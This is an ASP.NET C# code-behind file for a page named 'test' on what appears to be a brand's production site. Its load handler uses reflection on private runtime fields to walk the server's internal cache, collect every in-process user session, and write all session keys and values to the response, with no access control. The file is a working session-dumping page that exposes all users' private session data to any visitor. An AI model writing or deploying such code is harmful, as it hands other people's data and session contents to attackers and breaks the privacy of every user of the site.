using System;using System.Data;using System.Configuration;using System.Collections;using System.Web;using System.Web.Security;using System.Web.UI;using System.Web.UI.WebControls;using System.Web.UI.WebControls.WebParts;using System.Web.UI.HtmlControls;using System.Reflection;using System.Web.SessionState;using System.Text;namespace Pampers.Web.layouts{ public partial class test : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { var stringBuilder = new StringBuilder(); object obj = typeof(HttpRuntime).GetProperty("CacheInternal", BindingFlags.NonPublic | BindingFlags.Static).GetValue(null, null); object[] obj2 = (object[])obj.GetType().GetField("_caches", BindingFlags.NonPublic | BindingFlags.Instance).GetValue(obj); for (int i = 0; i < obj2.Length; i++) { Hashtable c2 = (Hashtable)obj2[i].GetType().GetField("_entries", BindingFlags.NonPublic | BindingFlags.Instance).GetValue(obj2[i]); foreach (DictionaryEntry entry in c2) { object o1 = entry.Value.GetType().GetProperty("Value", BindingFlags.NonPublic | BindingFlags.Instance).GetValue(entry.Value, null); string sType = o1.GetType().ToString(); if (sType == "System.Web.SessionState.InProcSessionState") { SessionStateItemCollection sess = (SessionStateItemCollection)o1.GetType().GetField("_sessionItems", BindingFlags.NonPublic | BindingFlags.Instance).GetValue(o1); if (sess != null) { foreach (string key in sess.Keys) { stringBuilder.AppendLine(string.Format("{0}:{1}" , key , sess[key])); } } } } } Response.Write(stringBuilder.ToString()); Response.End(); } }}